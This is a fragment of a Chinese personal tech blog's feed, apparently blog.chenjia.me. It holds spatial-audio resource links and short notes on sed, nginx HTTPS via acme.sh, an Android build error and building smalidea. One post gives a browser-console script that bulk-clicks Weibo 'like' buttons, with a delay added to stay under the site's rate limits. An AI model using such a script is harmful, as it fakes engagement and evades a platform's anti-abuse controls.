&lt;li&gt;Exoplayer（Google开源的播放器，实现了空间音频的接口，不过坑还是很多）&lt;a href="https://google.github.io/ExoPlayer/guide.html#mediasource"&gt;https://google.github.io/ExoPlayer/guide.html#mediasource&lt;/a&gt; 项目地址为：&lt;a href="https://github.com/google/ExoPlayer/tree/86230c451007534623c68ea9eedb6d15b8ef709a/extensions/gvr"&gt;https://github.com/google/ExoPlayer/tree/86230c451007534623c68ea9eedb6d15b8ef709a/extensions/gvr&lt;/a&gt; 文档中是有问题了，提了issue，答复情况为：&lt;a href="https://github.com/googlevr/gvr-android-sdk/issues/160#issuecomment-313658360"&gt;https://github.com/googlevr/gvr-android-sdk/issues/160#issuecomment-313658360&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Exoplayer 开发者博文，介绍了GVR接入方式，代码已经失效，参考上面的那个issue，&lt;a href="https://medium.com/google-exoplayer/spatial-audio-with-exoplayer-and-gvr-cecb00e9da5f"&gt;https://medium.com/google-exoplayer/spatial-audio-with-exoplayer-and-gvr-cecb00e9da5f&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ambisonic info，里面有关于Ambisonic的各种介绍信息，还有Example，不过基本都是amb（b-format），GVR不支持&lt;a href="https://ambisonic.info/audio/johnleonard.html"&gt;https://ambisonic.info/audio/johnleonard.html&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Spatial Media Metadata Injector VR视频文件的信息监测，能够监测MP4中压制的WAV是否是空间音频，以及它的格式&lt;a href="https://github.com/google/spatial-media/releases"&gt;https://github.com/google/spatial-media/releases&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;如何是有FFMPEG将ambisonic wav文件压制到MP4中 &lt;a href="https://francois.pitie.net/2016/05/05/360-audio-youtube-upload/"&gt;https://francois.pitie.net/2016/05/05/360-audio-youtube-upload/&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Ambisonic 音频下载，大部分是AMB和5.1环绕音的，GVR不能播放&lt;/li&gt;
&lt;li&gt;JS的Ambisonic播放器 &lt;a href="https://github.com/polarch/JSAmbisonics"&gt;https://github.com/polarch/JSAmbisonics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Oculus Ambisonics Starter Pack 1.0（这里下载的示例音频都是可以播放的，facebook oculus SDK）&lt;a href="https://developer.oculus.com/downloads/package/oculus-ambisonics-starter-pack/"&gt;https://developer.oculus.com/downloads/package/oculus-ambisonics-starter-pack/&lt;/a&gt; 论坛信息&lt;a href="https://forums.oculus.com/developer/discussion/44150/oculus-ambisonics-starter-pack-1-0-released"&gt;https://forums.oculus.com/developer/discussion/44150/oculus-ambisonics-starter-pack-1-0-released&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;在线播放Ambisonic音频，JS已经挂掉，使用我修改的离线版本可以使用（或者手动替换404的JS）&lt;a href="https://googlechrome.github.io/omnitone/#home"&gt;https://googlechrome.github.io/omnitone/#home&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Omnitone: Spatial Audio on the Web &lt;a href="https://github.com/GoogleChrome/omnitone"&gt;https://github.com/GoogleChrome/omnitone&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;VRPhoto 说明了如何从传感器数据计算四元数，如何获取偏移量&lt;a href="https://github.com/xiaoxiaoqingyi/VRPhoto"&gt;https://github.com/xiaoxiaoqingyi/VRPhoto&lt;/a&gt; &lt;a href="http://blog.csdn.net/u010203716/article/details/72837331"&gt;http://blog.csdn.net/u010203716/article/details/72837331&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;libsndfile 检查音频文件文件格式&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;WIKI相关&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;Ambisonics 简介和解码信息&lt;a href="https://en.wikipedia.org/wiki/Ambisonics"&gt;https://en.wikipedia.org/wiki/Ambisonics&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Vorbis &lt;a href="https://en.wikipedia.org/wiki/Vorbis"&gt;https://en.wikipedia.org/wiki/Vorbis&lt;/a&gt; 
    &amp;gt;Vorbis is intended for sample rates from 8 kHz telephony to 192 kHz digital masters and a range of channel representations (monaural, polyphonic, stereo, quadraphonic, 5.1, &lt;strong&gt;ambisonic&lt;/strong&gt;, or up to 255 discrete channels)&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;支持Ambisonic播放，转换等相关工具（大部分都是和制作有关）&lt;a href="https://en.wikipedia.org/wiki/List_of_Ambisonic_software"&gt;https://en.wikipedia.org/wiki/List_of_Ambisonic_software&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;Ambisonic data exchange formats &lt;a href="https://en.wikipedia.org/wiki/Ambisonic_data_exchange_formats"&gt;https://en.wikipedia.org/wiki/Ambisonic_data_exchange_formats&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Youtube 上传VR视频的要求 &lt;a href="https://support.google.com/youtube/answer/6395969?hl=en"&gt;https://support.google.com/youtube/answer/6395969?hl=en&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;四元数 &lt;a href="https://zh.wikipedia.org/wiki/%E5%9B%9B%E5%85%83%E6%95%B8"&gt;https://zh.wikipedia.org/wiki/%E5%9B%9B%E5%85%83%E6%95%B8&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;四元数与欧拉角（yaw roll pitch）转换公式与推导，以及它们unity中的不同&lt;a href="http://blog.csdn.net/deller_breeze/article/details/47121561"&gt;http://blog.csdn.net/deller_breeze/article/details/47121561&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Android 传感器之方向传感器 &lt;a href="http://blog.csdn.net/liang5630/article/details/42421765"&gt;http://blog.csdn.net/liang5630/article/details/42421765&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;Android-传感器开发-方向判断 &lt;a href="http://blog.csdn.net/baidu_28479651/article/details/47299927"&gt;http://blog.csdn.net/baidu_28479651/article/details/47299927&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;SDK相关异常跟踪&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;导致音频创建失败的issue（Open）&lt;a href="https://github.com/googlevr/gvr-android-sdk/issues/164"&gt;https://github.com/googlevr/gvr-android-sdk/issues/164&lt;/a&gt;，提到ogg/Vorbis 也有可以播放的格式&lt;/li&gt;
&lt;li&gt;播放sd卡中音频失败，已经修复&lt;a href="https://github.com/googlevr/gvr-android-sdk/issues/197"&gt;https://github.com/googlevr/gvr-android-sdk/issues/197&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;GvrAudioSurround解析的时候出现的问题&lt;a href="https://github.com/googlevr/gvr-android-sdk/issues/366"&gt;https://github.com/googlevr/gvr-android-sdk/issues/366&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;VR Audio : APIs for sample level processing&lt;a href="https://github.com/googlevr/gvr-android-sdk/issues/186"&gt;https://github.com/googlevr/gvr-android-sdk/issues/186&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;</content><category term="July"></category><category term="Android"></category></entry><entry><title>Mac sed 命令差异</title><link href="https://blog.chenjia.me/articles/170630-112200.html" rel="alternate"></link><published>2017-06-30T11:22:00+08:00</published><updated>2017-06-30T11:22:03+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-06-30:/articles/170630-112200.html</id><summary type="html">&lt;p&gt;在MAC系统中，&lt;code&gt;sed&lt;/code&gt;命令在使用&lt;code&gt;-i&lt;/code&gt;指令时候和Linux的命令不一样 …&lt;/p&gt;</summary><content type="html">&lt;p&gt;在MAC系统中，&lt;code&gt;sed&lt;/code&gt;命令在使用&lt;code&gt;-i&lt;/code&gt;指令时候和Linux的命令不一样，需要在&lt;code&gt;-i&lt;/code&gt;后面加上&lt;code&gt;""&lt;/code&gt;,
例如： &lt;code&gt;sed -i ""  "s/aaa/bbb/g" 1.txt&lt;/code&gt;&lt;/p&gt;</content><category term="July"></category><category term="MAC"></category></entry><entry><title>微博批量点赞脚本</title><link href="https://blog.chenjia.me/articles/170622-114523.html" rel="alternate"></link><published>2017-06-22T11:45:23+08:00</published><updated>2017-06-22T11:45:42+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-06-22:/articles/170622-114523.html</id><summary type="html">&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;利用js直接点击点赞按钮，简单快捷&lt;/p&gt;
&lt;h2&gt;第一版本&lt;/h2&gt;
&lt;p&gt;新浪微博没有jQuery …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;原理&lt;/h1&gt;
&lt;p&gt;利用js直接点击点赞按钮，简单快捷&lt;/p&gt;
&lt;h2&gt;第一版本&lt;/h2&gt;
&lt;p&gt;新浪微博没有jQuery，那么只能用原生的JS，简单的实现方式如下：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByClassName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;S_txt2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;
&lt;span class="k"&gt;for&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;var&lt;/span&gt; &lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;lt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;length&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
    &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;tagName&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;赞&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="c1"&gt;//var t=setTimeout(out(list[i]), 100*j);&lt;/span&gt;
            &lt;span class="c1"&gt;//var r=self.setInterval(out(list[i]), 100*j);&lt;/span&gt;
            &lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;onclick&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
                &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="kd"&gt;function&lt;/span&gt;&lt;span class="p"&gt;(){&lt;/span&gt;
                    &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;])&lt;/span&gt;
                &lt;span class="p"&gt;}&lt;/span&gt;
            &lt;span class="p"&gt;})(&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt;&lt;span class="mi"&gt;1000&lt;/span&gt;&lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="nx"&gt;j&lt;/span&gt;&lt;span class="o"&gt;++&lt;/span&gt;
            &lt;span class="c1"&gt;//list[i].click();&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
        &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="nx"&gt;i&lt;/span&gt;&lt;span class="p"&gt;].&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;取消赞&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="c1"&gt;//console.log(&amp;quot;取消赞&amp;quot;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;

&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="nx"&gt;out&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;

    &lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;但是这种方式，会触发新浪微博的限制，所以我们要考虑使用队列来进行中断。JS是单线程没有&lt;code&gt;sleep()&lt;/code&gt;功能的函数，所以我们使用一种新的方式来实现。&lt;/p&gt;
&lt;h2&gt;第二版本&lt;/h2&gt;
&lt;p&gt;使用队列来延迟：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="kr"&gt;class&lt;/span&gt; &lt;span class="nx"&gt;IntervalQueue&lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;constructor&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;ary&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;ary&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nx"&gt;queue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;push&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;

    &lt;span class="nx"&gt;dequeue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
        &lt;span class="nx"&gt;cb&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;this&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;shift&lt;/span&gt;&lt;span class="p"&gt;())&lt;/span&gt;
    &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;oldlist&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nb"&gt;Array&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;prototype&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;slice&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;call&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nb"&gt;document&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;getElementsByClassName&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s1"&gt;&amp;#39;S_txt2&amp;#39;&lt;/span&gt;&lt;span class="p"&gt;)).&lt;/span&gt;&lt;span class="nx"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;tagName&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;A&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;list&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nx"&gt;oldlist&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;filter&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt; &lt;span class="o"&gt;=&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;gt&lt;/span&gt;&lt;span class="p"&gt;;(&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;赞&amp;quot;&lt;/span&gt;&lt;span class="o"&gt;||&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;取消赞&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="nx"&gt;amp&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="nx"&gt;a&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt;&lt;span class="o"&gt;!=&lt;/span&gt;&lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;span class="kr"&gt;const&lt;/span&gt; &lt;span class="nx"&gt;iq&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="k"&gt;new&lt;/span&gt; &lt;span class="nx"&gt;IntervalQueue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;list&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;

&lt;span class="nx"&gt;setInterval&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
    &lt;span class="nx"&gt;iq&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;dequeue&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kd"&gt;function&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="o"&gt;==&lt;/span&gt;&lt;span class="kc"&gt;undefined&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
            &lt;span class="k"&gt;return&lt;/span&gt;
        &lt;span class="k"&gt;if&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;title&lt;/span&gt; &lt;span class="o"&gt;===&lt;/span&gt; &lt;span class="s2"&gt;&amp;quot;赞&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;){&lt;/span&gt;
            &lt;span class="nx"&gt;item&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;click&lt;/span&gt;&lt;span class="p"&gt;();&lt;/span&gt;
            &lt;span class="c1"&gt;//console.log(&amp;quot;zan&amp;quot;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
            &lt;span class="nx"&gt;console&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nx"&gt;log&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s2"&gt;&amp;quot;cancel&amp;quot;&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
        &lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="p"&gt;})&lt;/span&gt;
&lt;span class="p"&gt;},&lt;/span&gt;&lt;span class="mi"&gt;10000&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;最后的10000是毫秒，根据时间限制可以进行相应的调整。&lt;/p&gt;</content><category term="July"></category><category term="HTML"></category></entry><entry><title>实验室域名HTTPS配置完成笔记</title><link href="https://blog.chenjia.me/articles/170617-130952.html" rel="alternate"></link><published>2017-06-17T13:09:52+08:00</published><updated>2017-06-17T13:09:55+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-06-17:/articles/170617-130952.html</id><summary type="html">&lt;h1&gt;为什么需要HTTPS&lt;/h1&gt;
&lt;p&gt;Chrome 5x的某个版本开始，不上https的网站前面会给你的感叹号，如果网页中有带有Passwoerd的form表单 …&lt;/p&gt;</summary><content type="html">&lt;h1&gt;为什么需要HTTPS&lt;/h1&gt;
&lt;p&gt;Chrome 5x的某个版本开始，不上https的网站前面会给你的感叹号，如果网页中有带有Passwoerd的form表单，就会给个不安全的提示。作为强迫症，就想去除掉这些。&lt;/p&gt;
&lt;h1&gt;部署HTTPS&lt;/h1&gt;
&lt;p&gt;首先，现在免费的证书中，&lt;a href="https://letsencrypt.org" title="Let's Encrypt"&gt;Let's Encrypt&lt;/a&gt;是大多数人采用的。&lt;/p&gt;
&lt;p&gt;我采用了&lt;code&gt;acme.sh&lt;/code&gt;提供的自签发脚本，在服务器上安装脚本后运行，首先修改我们原来&lt;code&gt;Nginx&lt;/code&gt;的多站点配置，将多站点的配置文件停用，使用一个签发配置，让所有指向本机的域名全部解析到一个目录，方便我们签发证书，然后`sudo service Nginx reload'。&lt;/p&gt;
&lt;p&gt;使用脚本acme.sh，使用多站点签发方式&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;acme.sh --issue -d wenha0.com -w /var/www/html/  -d www.wenha0.com
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;签发完成后，我们将签发的证书复制到&lt;code&gt;/etc/nginx/ssl/&lt;/code&gt;中，然后禁用签发ssl的多站点配置文件，新建一个多站点配置文件来监听443端口并启用ssl，其中启动ssl的配置脚本为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;ssl on;
ssl_certificate /etc/nginx/ssl/wenha0.com.cer;
ssl_certificate_key /etc/nginx/ssl/wenha0.com.key;
&lt;/pre&gt;&lt;/div&gt;


&lt;p&gt;修改成功后，应该使用&lt;code&gt;sudo service nginx force-reload&lt;/code&gt;来启用https，这时候你打开网址，使用HTTPS访问就能成功了。&lt;/p&gt;
&lt;h1&gt;哪些服务启用了HTTPS&lt;/h1&gt;
&lt;p&gt;除了资源下载的服务，其他所有服务都启用了HTTPS。
除了首页允许HTTP访问，其他所有有HTTPS的服务都添加了HTTP强制跳转HTTPS服务。&lt;/p&gt;
&lt;p&gt;该条NGINX规则为：&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;span class="nt"&gt;rewrite&lt;/span&gt; &lt;span class="o"&gt;^(.*)&lt;/span&gt; &lt;span class="nt"&gt;https&lt;/span&gt;&lt;span class="o"&gt;://$&lt;/span&gt;&lt;span class="nt"&gt;server_name&lt;/span&gt;&lt;span class="o"&gt;$&lt;/span&gt;&lt;span class="nt"&gt;1&lt;/span&gt; &lt;span class="nt"&gt;permanent&lt;/span&gt;&lt;span class="o"&gt;;&lt;/span&gt;
&lt;/pre&gt;&lt;/div&gt;</content><category term="June"></category><category term="Linux"></category><category term="Maintain"></category></entry><entry><title>transformNativeLibsWithStripDebugSymbolForRelease错误解决方案</title><link href="https://blog.chenjia.me/articles/170418-150133.html" rel="alternate"></link><published>2017-04-18T15:01:33+08:00</published><updated>2017-04-18T15:01:39+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-04-18:/articles/170418-150133.html</id><summary type="html">&lt;h2&gt;transformNativeLibsWithStripDebugSymbolForRelease错误解决方案&lt;/h2&gt;
&lt;p&gt;首先这个错误是由于NDK编译so的是版本过低导致在新的gradle下（tool level&amp;gt;2 …&lt;/p&gt;</summary><content type="html">&lt;h2&gt;transformNativeLibsWithStripDebugSymbolForRelease错误解决方案&lt;/h2&gt;
&lt;p&gt;首先这个错误是由于NDK编译so的是版本过低导致在新的gradle下（tool level&amp;gt;2.2）编译报错，修正的方式就是将compileSdkVersion提高到23及以上即可。百度到的结果都是降级gradle版本是没有必要的。&lt;/p&gt;</content><category term="April"></category><category term="Android"></category></entry><entry><title>从源码编译smaliidea插件</title><link href="https://blog.chenjia.me/articles/170309-204830.html" rel="alternate"></link><published>2017-03-09T20:48:30+08:00</published><updated>2017-03-09T20:48:33+08:00</updated><author><name>chenjia.me</name></author><id>tag:blog.chenjia.me,2017-03-09:/articles/170309-204830.html</id><summary type="html">&lt;h2&gt;编译smaliidea插件&lt;/h2&gt;
&lt;p&gt;Smaliidel用途想必大家都知道了。Github上release版本落后于代码好几个月，所以就尝试自己编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git …&lt;/pre&gt;&lt;/div&gt;</summary><content type="html">&lt;h2&gt;编译smaliidea插件&lt;/h2&gt;
&lt;p&gt;Smaliidel用途想必大家都知道了。Github上release版本落后于代码好几个月，所以就尝试自己编译。&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;git clone https://github.com/JesusFreke/smali.git
cd smali/smalidea
./gradlew build
&lt;/pre&gt;&lt;/div&gt;


